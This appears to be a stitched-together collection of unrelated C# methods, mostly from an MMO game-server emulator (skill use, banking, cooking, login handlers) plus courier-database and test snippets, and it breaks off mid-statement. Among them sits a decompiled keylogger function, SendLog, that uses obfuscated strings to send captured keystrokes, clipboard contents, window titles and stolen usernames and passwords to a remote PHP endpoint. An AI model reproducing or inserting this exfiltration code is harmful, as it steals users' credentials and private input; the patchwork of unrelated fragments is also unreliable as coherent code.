public Person(int id) { this.id = id; this.instance = Send.getInstance (); if (instance == null) { Console.WriteLine ("Die Instanz ist null"); } leftHandState = HandState.NotTracked; rightHandState = HandState.NotTracked; message = new string[2]; }
public void Add(Send model) { using (CTSContext context = new CTSContext()) { if (model.BelongCompany.Id > 0) { model.BelongCompany = context.CourierCompanys.FirstOrDefault(p => p.Id == model.BelongCompany.Id); } else { model.BelongCompany = null; } context.Sends.Add(model); context.SaveChanges(); } }
public void Edit(Send model) { using (CTSContext context = new CTSContext()) { var send = context.Sends.FirstOrDefault(p => p.Id == model.Id); if (model.BelongCompany.Id > 0) { send.BelongCompany = context.CourierCompanys.FirstOrDefault(p => p.Id == model.BelongCompany.Id); } send.CourierNumber = model.CourierNumber; send.CustomerAddress = model.CustomerAddress; send.CustomerName = model.CustomerName; send.CustomerPhone = model.CustomerPhone; send.RecipientAddress = model.RecipientAddress; send.RecipientName = model.RecipientName; send.RecipientPhone = model.RecipientPhone; send.Price = model.Price; send.Weight = model.Weight; send.Remark = model.Remark; context.SaveChanges(); } }
public void ChannelCharacterInfoRequest(ChannelClient client, Packet packet) { var creature = client.GetCreatureSafe(packet.Id); if (creature.Master != null) { var pos = creature.GetPosition(); Send.SpawnEffect(SpawnEffect.Pet, creature.RegionId, pos.X, pos.Y, creature.Master, creature); } // Infamous 5209, aka char info Send.ChannelCharacterInfoRequestR(client, creature); // Special treatment for pets if (creature.Master != null) { // Send vehicle info to make mounts mountable if (creature.RaceData.VehicleType > 0) { Send.VehicleInfo(creature); } } var playerCreature = creature as PlayerCreature; if (playerCreature != null) { var now = DateTime.Now; // Update last login playerCreature.LastLogin = now; // Age check var lastSaturday = ErinnTime.Now.GetLastSaturday(); var lastAging = playerCreature.LastAging; var diff = (lastSaturday - lastAging).TotalDays; if (lastAging < lastSaturday) { playerCreature.AgeUp((short)(1 + diff / 7)); } // Name/Chat color conditions if (creature.Vars.Perm["NameColorEnd"] != null) { var dt = (DateTime)creature.Vars.Perm["NameColorEnd"]; if (now > dt) { creature.Vars.Perm["NameColorIdx"] = null; creature.Vars.Perm["NameColorEnd"] = null; } } if (creature.Vars.Perm["ChatColorEnd"] != null) { var dt = (DateTime)creature.Vars.Perm["ChatColorEnd"]; if (now > dt) { creature.Vars.Perm["ChatColorIdx"] = null; creature.Vars.Perm["ChatColorEnd"] = null; } } if (creature.Vars.Perm["NameColorIdx"] != null) { var extra = new MabiDictionary(); extra.SetInt("IDX", (int)creature.Vars.Perm["NameColorIdx"]); creature.Conditions.Activate(ConditionsB.NameColorChange, extra); } if (creature.Vars.Perm["ChatColorIdx"] != null) { var extra = new MabiDictionary(); extra.SetInt("IDX", (int)creature.Vars.Perm["ChatColorIdx"]); creature.Conditions.Activate(ConditionsB.ChatColorChange, extra); } // Chat sticker hack // You don't see your own chat stickers on Aura without this packet // for unknown reasons. if (creature.Vars.Perm["ChatStickerId"] != null) { var sticker = (ChatSticker)creature.Vars.Perm["ChatStickerId"]; var end = (DateTime)creature.Vars.Perm["ChatStickerEnd"]; if (now < end) { Send.ChatSticker(creature, sticker, end); } } } }
public void SkillUse(ChannelClient client, Packet packet) { var skillId = (SkillId)packet.GetUShort(); var creature = client.GetCreatureSafe(packet.Id); var skill = creature.Skills.GetSafe(skillId); var handler = ChannelServer.Instance.SkillManager.GetHandler <IUseable>(skillId); if (handler == null) { Log.Unimplemented("SkillUse: Skill handler or interface for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet.")); Send.SkillUseSilentCancel(creature); return; } // Lightning Rod Use Check: // Lightning rod will send Use any time its hotkey is released. // This will lock the client if the skill is canceled for any reason (such as insufficient mana), // as there is no Active Skill - yet Lightning Rod sends use. // To counter this, the Active Skill must be set back to Lightning Rod and THEN canceled. if (skill.Info.Id == SkillId.LightningRod && creature.Skills.ActiveSkill != skill) { creature.Skills.ActiveSkill = skill; Send.SkillUseSilentCancel(creature); return; } // Can only use ready skills if (skill.State != SkillState.Ready) { Log.Error("SkillUse: Skill '{0}' wasn't readied first.", skillId); Send.ServerMessage(creature, Localization.Get("Error: Skill wasn't ready.")); Send.SkillUseSilentCancel(creature); return; } try { creature.Unlock(Locks.All); creature.Lock(Locks.ChanceStance | Locks.Walk | Locks.Run | Locks.ChangeEquipment | Locks.UseItem | Locks.Attack | Locks.PickUpAndDrop | Locks.TalkToNpc | Locks.Gesture); creature.Lock(skill.Data.UseLock); creature.Unlock(skill.Data.UseUnlock); handler.Use(creature, skill, packet); // Mana/Stamina reduction on usage. Example: Lightning Rod if (skill.RankData.ManaActive != 0) { creature.Regens.Add(Stat.Mana, creature.GetAdjustedManaCost(skill.RankData.ManaActive), creature.ManaMax, 1000); } if (skill.RankData.StaminaActive != 0) { creature.Regens.Add(Stat.Stamina, skill.RankData.StaminaActive, creature.StaminaMax, 1000); } // If stacks aren't 0 the skill wasn't successfully used yet. if (skill.Stacks == 0) { // Only if it wasn't canceled in Use? (Counter) if (skill.State != SkillState.Canceled) { skill.State = SkillState.Used; } creature.Regens.Remove("ActiveSkillWait"); } } catch (NotImplementedException) { creature.Unlock(Locks.All); Log.Unimplemented("SkillUse: Skill use method for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet.")); Send.SkillUseSilentCancel(creature); } }
public void Can_serialize_Send() { var message = new Send("/user/u3", "hello", true); AssertEqual(message); }
internal override void SendErrorMessage(short error) => Send?.Invoke(this, new SendSecuritiesAPI(error));
public void SkillPrepare(ChannelClient client, Packet packet) { var skillId = (SkillId)packet.GetUShort(); var creature = client.GetCreatureSafe(packet.Id); // Don't start another while one is active. If you cast another // skill with one already active the client sends Cancel first. // This should prevent a simultaneous Prepare. // If it's the same skill as the active one it *probably* is stackable. if (creature.Skills.ActiveSkill != null && creature.Skills.ActiveSkill.Info.Id != skillId) { Send.SkillPrepareSilentCancel(creature, skillId); return; } // Check lock if (!creature.Can(Locks.PrepareSkills)) { Log.Debug("PrepareSkills locked for '{0}'.", creature.Name); Send.SkillPrepareSilentCancel(creature, skillId); return; } var skill = creature.Skills.GetSafe(skillId); skill.State = SkillState.None; var handler = ChannelServer.Instance.SkillManager.GetHandler <IPreparable>(skillId); if (handler == null) { Log.Unimplemented("SkillPrepare: Skill handler or interface for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented yet.")); Send.SkillPrepareSilentCancel(creature, skillId); return; } // Check Mana // According to the Wiki you need the full amount, even if you // have ManaUse upgrades. if (creature.Mana < skill.RankData.ManaCost) { Send.Notice(creature, Localization.Get("Unable to use the skill. Insufficient Mana.")); Send.SkillPrepareCancellation(creature, skillId, 1); Send.SkillPrepareSilentCancel(creature, skillId); return; } // Check Stamina if (creature.Stamina < skill.RankData.StaminaCost) { // If SkillPrepareCancellation isn't sent, some skills, like Ranged, // spam Prepare until enough mana/stamina is there again. Send.Notice(creature, Localization.Get("Unable to use the skill. Insufficient Stamina.")); Send.SkillPrepareCancellation(creature, skillId, 0); Send.SkillPrepareSilentCancel(creature, skillId); return; } try { creature.Unlock(Locks.All); creature.Lock(Locks.ChanceStance | Locks.ChangeEquipment | Locks.UseItem | Locks.PrepareSkills | Locks.Attack | Locks.TalkToNpc | Locks.Gesture | Locks.StartSkills); creature.Lock(skill.Data.PrepareLock); creature.Unlock(skill.Data.PrepareUnlock); // Run handler var success = handler.Prepare(creature, skill, packet); if (!success) { creature.Unlock(Locks.All); Send.SkillPrepareSilentCancel(creature, skillId); return; } // Normal Mana/Stamina reduction // Usage skill's custom usage handler if it has one. var usageHandler = handler as ICustomPrepareUsageSkill; if (usageHandler != null) { usageHandler.CustomPrepareUsage(creature, skill); } else { var castTime = skill.GetCastTime(); if (skill.RankData.ManaPrepare != 0) { if (castTime == 0) { creature.Mana += creature.GetAdjustedManaCost(skill.RankData.ManaPrepare); Send.StatUpdate(creature, StatUpdateType.Private, Stat.Mana); } else { // "Hack"? Our regens tick once per second, // but while the cost values are per second, // the load times aren't always full seconds. // The client must either be adjusting those // values itself for per second, or it ticks // in 100th of ms. // This adjusts them for per second, for client // and server. var cost = creature.GetAdjustedManaCost(skill.RankData.ManaPrepare); var perSecond = (float)(cost / Math.Ceiling(castTime / 1000f) * (skill.RankData.NewLoadTime / 1000f)); var seconds = (int)(Math.Ceiling(castTime / 1000f) * 1000); creature.Regens.Add(Stat.Mana, perSecond, creature.ManaMax, seconds); } } if (skill.RankData.StaminaPrepare != 0) { if (castTime == 0) { creature.Stamina += skill.RankData.StaminaPrepare; Send.StatUpdate(creature, StatUpdateType.Private, Stat.Stamina); } else { var perSecond = (float)(skill.RankData.StaminaPrepare / Math.Ceiling(castTime / 1000f) * (skill.RankData.NewLoadTime / 1000f)); var seconds = (int)(Math.Ceiling(castTime / 1000f) * 1000); creature.Regens.Add(Stat.Stamina, perSecond, creature.StaminaMax, seconds); } } } // Set active skill creature.Skills.ActiveSkill = skill; // Only set state if the handler didn't skip states. if (skill.State == SkillState.None) { skill.CastEnd = DateTime.Now.AddMilliseconds(skill.GetCastTime()); skill.State = SkillState.Prepared; } } catch (NotImplementedException) { creature.Unlock(Locks.All); Log.Unimplemented("SkillPrepare: Skill prepare method for '{0}'.", skillId); Send.ServerMessage(creature, Localization.Get("This skill isn't implemented completely yet.")); Send.SkillPrepareSilentCancel(creature, skillId); } }
/// <summary> /// Handles actions and broadcasts action pack. /// </summary> public void Handle() { foreach (var action in this.Actions) { // Max target stun for players == 2000? if (action.Category == CombatActionCategory.Target && action.Creature.IsPlayer) { action.Stun = (short)Math.Min(2000, (int)action.Stun); } action.Creature.Stun = action.Stun; // Life update Send.StatUpdate(action.Creature, StatUpdateType.Private, Stat.Life, Stat.LifeInjured, Stat.Mana); Send.StatUpdate(action.Creature, StatUpdateType.Public, Stat.Life, Stat.LifeInjured); // If target action if (action.Category == CombatActionCategory.Target) { var tAction = action as TargetAction; // Mana Shield flag if (tAction.ManaDamage > 0 && tAction.Damage == 0) { tAction.Set(TargetOptions.ManaShield); } // On attack events ChannelServer.Instance.Events.OnCreatureAttacked(tAction); if (this.Attacker.IsPlayer) { ChannelServer.Instance.Events.OnCreatureAttackedByPlayer(tAction); } // OnHit AI event //action.Creature.Aggro(tAction.Attacker); var npc = action.Creature as NPC; if (npc != null && npc.AI != null) { npc.AI.OnHit(tAction); } // Cancel target's skill // Don't cancel Defense, which is still active at this point, // a Complete for it is sent by the client shortly after. // That won't happen if Smash is the attacker skill, // but that's official behavior. if (action.Creature.Skills.ActiveSkill != null && action.Creature.Skills.ActiveSkill.Info.Id != SkillId.Defense) { // Cancel non stackable skills on hit, wait for a // knock back for stackables if (action.Creature.Skills.ActiveSkill.RankData.StackMax > 1) { if (action.IsKnockBack) { var custom = ChannelServer.Instance.SkillManager.GetHandler(action.Creature.Skills.ActiveSkill.Info.Id) as ICustomHitCanceler; if (custom == null) { action.Creature.Skills.CancelActiveSkill(); } else { custom.CustomHitCancel(action.Creature); } } } else { action.Creature.Skills.CancelActiveSkill(); } } // Cancel rest if (action.Creature.Has(CreatureStates.SitDown)) { var restHandler = ChannelServer.Instance.SkillManager.GetHandler <Rest>(SkillId.Rest); if (restHandler != null) { restHandler.Stop(action.Creature, action.Creature.Skills.Get(SkillId.Rest)); } } // Remember knock back/down tAction.Creature.WasKnockedBack = tAction.Has(TargetOptions.KnockBack) || tAction.Has(TargetOptions.KnockDown) || tAction.Has(TargetOptions.Smash); if (tAction.Has(TargetOptions.KnockDown)) { tAction.Creature.KnockDownTime = DateTime.Now.AddMilliseconds(tAction.Stun); } // Stability meter // TODO: Limit it to "targetees"? var visibleCreatures = tAction.Creature.Region.GetVisibleCreaturesInRange(tAction.Creature); foreach (var cr in visibleCreatures) { Send.StabilityMeterUpdate(cr, tAction.Creature); } } // If attacker action if (action.Category == CombatActionCategory.Attack) { var aAction = action as AttackerAction; var npc = action.Creature as NPC; if (npc != null && npc.AI != null && action.SkillId != SkillId.CombatMastery) { npc.AI.OnUsedSkill(aAction); } ChannelServer.Instance.Events.OnCreatureAttacks(aAction); } } // Send combat action Send.CombatAction(this); // Skill used if (this.SkillId != SkillId.CombatMastery) { Send.CombatUsedSkill(this.Attacker, this.SkillId); } // End combat action Send.CombatActionEnd(this.Attacker, this.Id); }
public void Cancel(Creature creature, Skill skill) { creature.Temp.LightningRodFullCharge = false; Send.Effect(creature, Effect.LightningRod, LightningRodEffect.Cancel); }
/// <summary> /// Attempts to start a transfer of the given item to the bank the /// creature is currently using. /// </summary> /// <param name="creature"></param> /// <param name="itemEntityId"></param> /// <param name="instantTransfer"></param> /// <returns></returns> public bool Transfer(Creature creature, long itemEntityId, bool instantTransfer) { // Check bank var currentBank = creature.Temp.CurrentBankId; if (string.IsNullOrWhiteSpace(currentBank)) { Log.Warning("BankTransferRequest: Player '0x{0:X16}' (Account: '{1}') tried to transfer item while not being in a bank.", creature.EntityId, creature.Client.Account.Id); return(false); } // Get item and tab Item item = null; string tabName = null; foreach (var tab in this.Tabs.Values) { item = tab.GetItem(itemEntityId); if (item != null) { tabName = tab.Name; break; } } if (item == null) { Log.Warning("BankTransferRequest: Player '0x{0:X16}' (Account: '{1}') tried to transfer a non-existing or in-transit item.", creature.EntityId, creature.Client.Account.Id); return(false); } // Get fee and time var fee = BankInventory.GetTransferFee(item, item.Bank, currentBank); var time = BankInventory.GetTransferTime(item.Bank, currentBank); // Incrase fee for instant transfer. if (instantTransfer) { // Don't change, hardcoded in the client. fee = 100 + (fee * 5); time = 0; } // Check gold if (this.Gold < fee) { Send.MsgBox(creature, Localization.Get("Unable to pay the fee, Insufficient balance.")); return(false); } // Transfer item.Bank = currentBank; item.BankTransferStart = DateTime.Now; item.BankTransferDuration = time; this.RemoveGold(creature, fee); Send.BankTransferInfo(creature, tabName, item); return(true); }
/// <summary> /// Cancels skill. /// </summary> /// <param name="creature"></param> /// <param name="skill"></param> public override void Cancel(Creature creature, Skill skill) { base.Cancel(creature, skill); Send.Effect(creature, 356, (byte)0); }
/// <summary> /// Checks tools for method, returns true if everything is in order. /// </summary> /// <param name="creature"></param> /// <returns></returns> private bool CheckTools(Creature creature, string method) { var right = ""; var left = ""; switch (method) { case CookingMethod.Mixing: right = "/cooking/cooking_knife/"; left = "/cooking/cooking_table/"; break; case CookingMethod.Kneading: case CookingMethod.NoodleMaking: case CookingMethod.PastaMaking: case CookingMethod.PieMaking: right = "/cooking/cooking_kneader/"; left = "/cooking/cooking_table/"; break; case CookingMethod.Baking: case CookingMethod.Simmering: case CookingMethod.Boiling: case CookingMethod.DeepFrying: case CookingMethod.StirFrying: case CookingMethod.JamMaking: case CookingMethod.Steaming: right = "/cooking/cooking_dipper/"; left = "/cooking/cooking_pot/"; break; default: Log.Error("Cooking.CheckTools: Unknown cooking method."); return(false); } // Check right hand if (right != "") { if ((creature.RightHand == null || !creature.RightHand.HasTag(right))) { return(false); } if (creature.RightHand.Durability == 0) { Send.Notice(creature, Localization.Get("You can't use this {0} anymore."), creature.RightHand.Data.Name); return(false); } } // Check left hand if (left != "") { if ((creature.LeftHand == null || !creature.LeftHand.HasTag(left))) { return(false); } if (creature.LeftHand.Durability == 0) { Send.Notice(creature, Localization.Get("You can't use this {0} anymore."), creature.RightHand.Data.Name); return(false); } } return(true); }
/// <summary> /// Moves item from creature's inventory into bank. /// </summary> /// <param name="creature"></param> /// <param name="item"></param> /// <param name="bankId"></param> /// <param name="tabName"></param> /// <param name="x"></param> /// <param name="y"></param> /// <returns></returns> public bool DepositItem(Creature creature, long itemEntityId, string bankId, string tabName, int x, int y) { // Check tab if (!this.Tabs.ContainsKey(tabName)) { return(false); } var tab = this.Tabs[tabName]; // Check item var item = creature.Inventory.GetItem(itemEntityId); if (item == null) { return(false); } // Add gold directly if (item.Info.Id == 2000) { this.Gold += item.Info.Amount; Send.BankUpdateGold(creature, this.Gold); } // Add check as gold else if (item.Info.Id == 2004) { var amount = item.MetaData1.GetInt("EVALUE"); this.Gold += amount; Send.BankUpdateGold(creature, this.Gold); } // Add license as gold else if (item.HasTag("/personalshoplicense/")) { var fee = 0f; var license = item.Data.PersonalShopLicense; var licenseData = AuraData.ShopLicenseDb.Find(license); if (licenseData != null) { fee = licenseData.ExchangeFee; } var amount = item.MetaData1.GetInt("EVALUE"); amount = (int)(amount - amount * fee); if (amount > 0) { this.Gold += amount; Send.BankUpdateGold(creature, this.Gold); } } // Normal items else { // Generate a new item, makes moving and updating easier. var newItem = new Item(item); // Try adding item to tab if (!tab.TryAdd(newItem, x, y)) { return(false); } // Update bank id newItem.Bank = bankId; // Update client Send.BankAddItem(creature, newItem, bankId, tabName); } // Remove item from inventory creature.Inventory.Remove(item); return(true); }
/// <summary> /// Completes skill, creating the item. /// </summary> /// <param name="creature"></param> /// <param name="skill"></param> /// <param name="packet"></param> public void Complete(Creature creature, Skill skill, Packet packet) { var unkInt = packet.GetInt(); // Get recipe and create item Item item = null; var success = false; var recipe = AuraData.CookingDb.Find(creature.Temp.CookingMethod, creature.Temp.CookingIngredients.Select(a => a.Item.Info.Id)); if (recipe != null) { // Get judgement var judgement = this.JudgeQuality(recipe, creature.Temp.CookingIngredients); if (judgement.Quality >= SuccessMinQuality) { var quality = (int)judgement.Quality; var rating = this.GetRating((int)judgement.Quality); // Create food if quality was good enough item = new Item(recipe.ItemId); item.MetaData1.SetInt("QUAL", quality); item.MetaData1.SetString("MKNAME", creature.Name); item.MetaData1.SetShort("MKSLV", (short)skill.Info.Rank); item.MetaData1.SetString("MKACT", creature.Temp.CookingMethod); // Notice var msg = ""; if (judgement.Quality > 75) { msg += Localization.Get("You just made a delicious dish!"); } else if (judgement.Quality > 55) { msg += Localization.Get("You just made a tasty dish!"); } else if (judgement.Quality > 35) { msg += Localization.Get("You just made an edible dish."); } else if (judgement.Quality > -35) { msg += Localization.Get("You just made a pretty unappetizing dish..."); } else { msg += Localization.Get("You just made a dish... that you probably shouldn't eat. Yuck!"); } // Help message if (judgement.HelpItem != null) { var rnd = RandomProvider.Get(); var helpmsg = ""; if (judgement.HelpAmount < 0) { helpmsg += Localization.Get("There may have been {1:0.0}%-{2:0.0}% less {0} than required."); } else { helpmsg += Localization.Get("There may have been {1:0.0}%-{2:0.0}% more {0} than required."); } var name = judgement.HelpItem.Data.Name; var amount = Math.Abs(judgement.HelpAmount) * 100; var min = (amount - rnd.NextDouble()); var max = (amount + rnd.NextDouble()); msg += string.Format("\n" + helpmsg, name, min, max); } Send.Notice(creature, msg); this.OnSuccessfulCooking(creature, skill, creature.Temp.CookingMethod, item, rating); success = true; } } else { //Log.Debug("Recipe not found"); //Log.Debug("Method: " + creature.Temp.CookingMethod); //Log.Debug("Ingredients:"); //foreach (var ingredient in creature.Temp.CookingIngredients) // Log.Debug("- " + ingredient.Item.Info.Id); } // Create food waste if nothing halfway decent was created if (!success) { item = new Item(FoodWasteItemId); Send.Notice(creature, Localization.Get("Cooking failed")); } // Remove ingredient items // According to the Wiki the whole stack gets removed. foreach (var ingredient in creature.Temp.CookingIngredients) { creature.Inventory.Remove(ingredient.Item); } // Replace bottled goods with empty bottles foreach (var ingredient in creature.Temp.CookingIngredients) { if (ingredient.Item.HasTag("/milk/|/water/")) { creature.Inventory.Add(new Item(EmptyBottleItemId), true); } } // Add item to inv creature.Inventory.Add(item, true); // Cooking event ChannelServer.Instance.Events.OnCreatureCookedMeal(new CookingEventArgs(creature, recipe, success, item)); // Effects and response Send.AcquireInfo2Cooking(creature, item.EntityId, item.Info.Id, success); Send.Effect(creature, Effect.Cooking, (byte)0, (byte)(success ? 4 : 1)); Send.SkillComplete(creature, skill.Info.Id, unkInt); }
public async Task PushSyncSendDeleteAsync(Send send) { await PushSendAsync(send, PushType.SyncSendDelete); }
public void ChannelLogin(ChannelClient client, Packet packet) { var accountId = packet.GetString(); // [160XXX] Double account name { packet.GetString(); } var sessionKey = packet.GetLong(); var characterId = packet.GetLong(); // Check state if (client.State != ClientState.LoggingIn) { return; } // Check account var account = ChannelServer.Instance.Database.GetAccount(accountId); if (account == null || account.SessionKey != sessionKey) { // This doesn't autoban because the client is not yet "authenticated", // so an evil person might be able to use it to inflate someone's // autoban score without knowing their password Log.Warning("ChannelLogin handler: Invalid account ({0}) or session ({1}).", accountId, sessionKey); client.Kill(); return; } // Check character var character = account.GetCharacterOrPetSafe(characterId); client.Account = account; client.Controlling = character; client.Creatures.Add(character.EntityId, character); character.Client = client; client.State = ClientState.LoggedIn; Send.ChannelLoginR(client, character.EntityId); // Log into world if (character.Has(CreatureStates.Initialized)) { // Fallback for invalid region ids, like 0, dynamics, and dungeons. if (character.RegionId == 0 || Math2.Between(character.RegionId, 35000, 40000) || Math2.Between(character.RegionId, 10000, 11000)) { character.SetLocation(1, 12800, 38100); } character.Activate(CreatureStates.EverEnteredWorld); character.Warp(character.GetLocation()); } // Special login to Soul Stream for new chars else { var npcEntityId = (character.IsCharacter ? MabiId.Nao : MabiId.Tin); var npc = ChannelServer.Instance.World.GetCreature(npcEntityId); if (npc == null) { Log.Warning("ChannelLogin: Intro NPC not found ({0}).", npcEntityId.ToString("X16")); } character.Temp.InSoulStream = true; character.Activate(CreatureStates.Initialized); Send.SpecialLogin(character, 1000, 3200, 3200, npcEntityId); } }
// Token: 0x06000032 RID: 50 RVA: 0x00002ADC File Offset: 0x00001ADC public static void SendLog(string Link, string LogType, string WindowTitle, string KeystrokesTyped, string Application, string Host, string Username, string Password, string ClipboardText) { try { WebClient webClient = new WebClient(); if (Operators.CompareString(LogType, "Keystrokes", false) == 0) { webClient.DownloadString(string.Concat(new string[] { Link, "$pos$t$.$ph$p$?$ty$p$e$=$k$eys$tro$ke$s$&$mac$hi$ne$na$me$=$".Replace("$", ""), Send.Get_Comp(), "&windowtitle=", WindowTitle, "&keystrokestyped=", KeystrokesTyped, Strings.StrReverse("=emitenihcam&"), DateAndTime.Now.ToShortTimeString() })); } else if (Operators.CompareString(LogType, Strings.StrReverse("sdrowssaP"), false) == 0) { webClient.DownloadString(string.Concat(new string[] { Link, "#po#st.#ph#p?#typ#e=p#assw#ords#&mach#inen#ame=#".Replace("#", ""), Send.Get_Comp(), "&application=", Application, "&link=", Host, "&username="******"=drowssap&"), Password })); } else if (Operators.CompareString(LogType, Strings.StrReverse("draobpilC"), false) == 0) { webClient.DownloadString(string.Concat(new string[] { Link, "$po$st$.$ph$p$?$ty$pe$=$cl$ip$boa$rd&$mac$hine$nam$e=$".Replace("$", ""), Send.Get_Comp(), "&windowtitle=", WindowTitle, "&clipboardtext=", ClipboardText, Strings.StrReverse("=emitenihcam&"), DateAndTime.Now.ToShortTimeString() })); } else if (Operators.CompareString(LogType, "Screenshot", false) != 0) { if (Operators.CompareString(LogType, "Notification", false) == 0) { webClient.DownloadString(string.Concat(new string[] { Link, "$pos$t.$p$hp$?$typ$e=$not$ific$a$tion$&$mac$h$in$e$n$a$m$e$=$".Replace("$", ""), Send.Get_Comp(), Strings.StrReverse("=emitenihcam&"), DateAndTime.Now.ToShortTimeString() })); } } } catch (Exception ex) { } }
/// <summary> /// Adds gesture by keyword. /// </summary> /// <param name="creature"></param> /// <param name="keyword"></param> /// <param name="name"></param> protected void AddGesture(Creature creature, string keyword, string name) { creature.Keywords.Give(keyword); Send.Notice(creature, Localization.Get("The {0} Gesture has been added. Check your gestures window."), name); }
public override bool Route(Creature creature, Item item, ref string dungeonName) { // Small Green Gem (G1) if (item.Info.Id == 52004) { dungeonName = "g1_37_green_tirnanog_dungeon"; return(true); } // Small Blue Gem (G1) if (item.Info.Id == 52005) { dungeonName = "g1_37_blue_tirnanog_dungeon"; return(true); } // Small Red Gem (G1) if (item.Info.Id == 52006) { dungeonName = "g1_37_red_tirnanog_dungeon"; return(true); } // Small Silver Gem (G1) if (item.Info.Id == 52007) { dungeonName = "g1_37_silver_tirnanog_dungeon"; return(true); } // Black Orb (G1) if (item.Info.Id == 73033) { if (!creature.Party.Leader.Keywords.Has("g1_36")) { Send.Notice(creature, L("You can't enter this dungeon right now.")); return(false); } if (creature.Party.MemberCount > 3) { Send.Notice(creature, L("To enter this dungeon, you need a party with 3 or less members.")); return(false); } dungeonName = "g1_37_black_tirnanog_dungeon"; return(true); } // Pendant of the Goddess (G1 Final) if (item.Info.Id == 73029) { if (!creature.Party.Leader.Keywords.Has("g1_38")) { Send.Notice(creature, L("You can't enter this dungeon right now.")); return(false); } if (creature.Party.MemberCount > 3) { Send.Notice(creature, L("To enter this dungeon, you need a party with 3 or less members.")); return(false); } dungeonName = "g1_39_tirnanog_dungeon"; return(true); } // Goddess Pass (G1 Final) if (item.Info.Id == 73034) { if (!creature.Party.Leader.Keywords.Has("g1_38")) { Send.Notice(creature, L("You can't enter this dungeon right now.")); return(false); } if (creature.Party.MemberCount > 3) { Send.Notice(creature, L("To enter this dungeon, you need a party with 3 or less members.")); return(false); } dungeonName = "g1_39_tirnanog_dungeon_again"; return(true); } // tirnanog_dungeon return(true); }
/// <summary> /// Activates food stat mods for the given timeout and stats. /// </summary> /// <param name="creature"></param> /// <param name="item"></param> /// <param name="timeout"></param> /// <param name="str"></param> /// <param name="int_"></param> /// <param name="dex"></param> /// <param name="will"></param> /// <param name="luck"></param> /// <param name="life"></param> /// <param name="mana"></param> /// <param name="stamina"></param> /// <param name="lifeRecovery"></param> /// <param name="manaRecovery"></param> /// <param name="staminaRecovery"></param> /// <param name="injuryRecovery"></param> /// <param name="defense"></param> /// <param name="protection"></param> protected void Buff(Creature creature, Item item, int timeout, double str = 0, double int_ = 0, double dex = 0, double will = 0, double luck = 0, double life = 0, double mana = 0, double stamina = 0, double lifeRecovery = 0, double manaRecovery = 0, double staminaRecovery = 0, double injuryRecovery = 0, int defense = 0, int protection = 0) { var source = StatModSource.Food; var ident = item.EntityId; var group = "Food_" + ident; // Prepare quality value for the calculations // Bonus Formula: floor(dbValue / 200 * (quality + 100)) var quality = 0; if (item.MetaData1.Has("QUAL")) { quality = item.MetaData1.GetInt("QUAL"); } quality += 100; // Before applying the mods/regens, we have to make sure they // aren't set yet, to prevent stacking. This would be a job for // a cooldown system, which we don't have yet =< TODO. if (!creature.StatMods.Has(source, ident)) { if (str != 0) { creature.StatMods.Add(Stat.StrMod, (float)Math.Floor(str / 200f * quality), source, ident, timeout); } if (int_ != 0) { creature.StatMods.Add(Stat.IntMod, (float)Math.Floor(int_ / 200f * quality), source, ident, timeout); } if (dex != 0) { creature.StatMods.Add(Stat.DexMod, (float)Math.Floor(dex / 200f * quality), source, ident, timeout); } if (will != 0) { creature.StatMods.Add(Stat.WillMod, (float)Math.Floor(will / 200f * quality), source, ident, timeout); } if (luck != 0) { creature.StatMods.Add(Stat.LuckMod, (float)Math.Floor(luck / 200f * quality), source, ident, timeout); } if (defense != 0) { creature.StatMods.Add(Stat.DefenseMod, (float)Math.Floor(defense / 200f * quality), source, ident, timeout); } if (protection != 0) { creature.StatMods.Add(Stat.ProtectionMod, (float)Math.Floor(protection / 200f * quality), source, ident, timeout); } if (life != 0) { creature.StatMods.Add(Stat.LifeMaxMod, (float)Math.Floor(life / 200f * quality), source, ident, timeout); creature.Life = creature.Life; // Cap in case max was reduced } if (mana != 0) { creature.StatMods.Add(Stat.ManaMaxMod, (float)Math.Floor(mana / 200f * quality), source, ident, timeout); creature.Mana = creature.Mana; // Cap in case max was reduced } if (stamina != 0) { creature.StatMods.Add(Stat.StaminaMaxMod, (float)Math.Floor(stamina / 200f * quality), source, ident, timeout); creature.Stamina = creature.Stamina; // Cap in case max was reduced } } if (!creature.Regens.Has(group)) { if (lifeRecovery != 0) { creature.Regens.Add(group, Stat.Life, (float)Math.Floor(lifeRecovery / 200f * quality), creature.LifeInjured, timeout); } if (manaRecovery != 0) { creature.Regens.Add(group, Stat.Mana, (float)Math.Floor(manaRecovery / 200f * quality), creature.ManaMax, timeout); } if (staminaRecovery != 0) { creature.Regens.Add(group, Stat.Stamina, (float)Math.Floor(staminaRecovery / 200f * quality), creature.StaminaMax, timeout); } if (injuryRecovery != 0) { creature.Regens.Add(group, Stat.LifeInjured, (float)Math.Floor(injuryRecovery / 200f * quality), creature.LifeMax, timeout); } } Send.StatUpdate(creature, StatUpdateType.Private, Stat.StrMod, Stat.IntMod, Stat.DexMod, Stat.WillMod, Stat.LuckMod, Stat.Life, Stat.LifeInjured, Stat.LifeMaxMod, Stat.LifeMax, Stat.Mana, Stat.ManaMaxMod, Stat.ManaMax, Stat.Stamina, Stat.StaminaMaxMod, Stat.StaminaMax, Stat.DefenseMod, Stat.ProtectionMod ); Send.StatUpdate(creature, StatUpdateType.Public, Stat.Life, Stat.LifeInjured, Stat.LifeMaxMod, Stat.LifeMax); }
/// <summary> /// Uses LightningRod /// </summary> /// <param name="attacker"></param> /// <param name="skill"></param> /// <param name="packet"></param> public void Use(Creature attacker, Skill skill, Packet packet) { // Set full charge variable attacker.Temp.LightningRodFullCharge = (DateTime.Now >= attacker.Temp.LightningRodPrepareTime.AddMilliseconds(skill.RankData.Var3)); // Get targets in skill area Position targetPropPos; var targets = SkillHelper.GetTargetableCreaturesInSkillArea(attacker, SkillLength, SkillWidth, out targetPropPos); // TargetProp var lProp = new Prop(280, attacker.RegionId, targetPropPos.X, targetPropPos.Y, MabiMath.ByteToRadian(attacker.Direction), 1f, 0f, "single"); attacker.Region.AddProp(lProp); // Prepare Combat Actions var cap = new CombatActionPack(attacker, skill.Info.Id); var targetAreaId = new Location(attacker.RegionId, targetPropPos).ToLocationId(); var aAction = new AttackerAction(CombatActionType.SpecialHit, attacker, targetAreaId); aAction.Set(AttackerOptions.KnockBackHit1 | AttackerOptions.UseEffect); aAction.PropId = lProp.EntityId; cap.Add(aAction); var rnd = RandomProvider.Get(); // Check crit var crit = false; var critSkill = attacker.Skills.Get(SkillId.CriticalHit); if (critSkill != null && 